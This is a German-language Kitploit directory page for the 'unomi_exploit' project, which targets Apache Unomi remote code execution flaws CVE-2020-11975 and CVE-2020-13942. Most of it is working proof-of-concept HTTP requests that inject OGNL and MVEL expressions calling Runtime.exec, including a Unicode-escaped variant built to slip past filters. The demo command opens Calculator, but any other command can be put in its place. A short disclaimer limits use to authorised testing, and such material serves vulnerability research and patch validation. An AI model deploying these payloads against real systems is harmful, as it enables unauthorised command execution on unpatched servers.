Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
unomi_exploit — CVE-2020-11975 CVE-2020-13942 | Kitploit
Tools/GitHubGitHub/1135/unomi_exploit
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsPayload-Entwicklung
GitHub1135/unomi_exploit

unomi_exploit

CVE-2020-11975 CVE-2020-13942

Repository anzeigen
621vor 5 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Haftungsausschluss

Die hier bereitgestellten Methoden zur Schwachstellenerkennung, Dateien und andere Inhalte sind ausschließlich für Sicherheitsexperten bestimmt, die über eine rechtliche Genehmigung verfügen, und dienen dazu, die Sicherheit von autorisierten Servern zu testen. Sicherheitsexperten müssen die gesetzlichen Bestimmungen einhalten und dürfen keinerlei Schwachstellentests ohne Genehmigung durchführen.

Einführung

  • Referenzlinks
    • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13942
    • https://securityboulevard.com/2020/11/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
    • http://unomi.apache.org/
    • Schwachstellenanalyse - Apache Unomi RCE Teil 1: OGNL Injection (CVE-2020-11975) - Xianzhi Community
    • Schwachstellenanalyse - Apache Unomi RCE Teil 2: OGNL/MVEL Injection (CVE-2020-13942) - Xianzhi Community

CVE-2020-11975

PoC: CVE-2020-11975 OGNL Injection

(Dieses PoC unterstützt nur Versionen <= 1.5.0. Es wird empfohlen, die beiden PoCs für CVE-2020-13942 zu verwenden, die Versionen <= 1.5.1 unterstützen.)

root@kitploit:~
POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 749

{
  "personalizations":[
    {
      "id":"gender-test_anystr",
      "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":{
                  "propertyName":"(#[email protected]@getRuntime()).(#r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))",
                  "comparisonOperator":"equals_anystr",
                  "propertyValue":"male_anystr"
                },
                "type":"profilePropertyCondition"
              }
            }
          ]
        }
      ]
    }
  ],
  "sessionId":"test-demo-session-id"
} 
Tool herunterladen

CVE-2020-13942

PoC: HTTP request with OGNL injection

Der OGNL-Ausdruck in der folgenden HTTP-Anfrage (PoC) hat eine Runtime-Instanz erhalten und mithilfe der Java Reflection API einen OS-Befehl ausgeführt.

root@kitploit:~
POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 1143

{
  "personalizations":[
    {
      "id":"gender-test_anystr",
      "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2_anystr"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":{
                  "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^  #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))",
                  "comparisonOperator":"equals",
                  "propertyValue":"male_anystr"
                },
                "type":"profilePropertyCondition"
              }
            }
          ]
        }
      ]
    }
  ],
  "sessionId":"test-demo-session-id"
} 

Variante: Die Zeichen im Payload können in Unicode (\uXXXX-Format) kodiert werden. Dies funktioniert ebenfalls.

root@kitploit:~
// 如
// 把e替换为了\u0065
// 把.替换为了\u002e
(#runtim\u0065class = #this.getClass().forNam\u0065(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^  #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invok\u0065(null,null)).(#execmethod = #runtimeclass.getDeclar\u0065dMethods().{? #this.nam\u0065.\u0065quals(\"\u0065xec\")}.{? #this.g\u0065tParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod\u002einvok\u0065(#rtobj,\"/bin/bash -c $*|bash 0 /System/Applications/Calculator.app/Cont\u0065nts/MacOS/Calculator\"))

PoC: HTTP request with MVEL injection

Der MVEL-Ausdruck in der folgenden HTTP-Anfrage (PoC) erstellt ein Runtime-Objekt und führt einen OS-Befehl aus.

root@kitploit:~
POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 564

{
    "filters": [
        {
            "id": "myfilter1_anystr",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "test-demo-session-id_anystr"
}

Variante: Die Zeichen im Payload können in Unicode (\uXXXX-Format) kodiert werden. Dies funktioniert ebenfalls.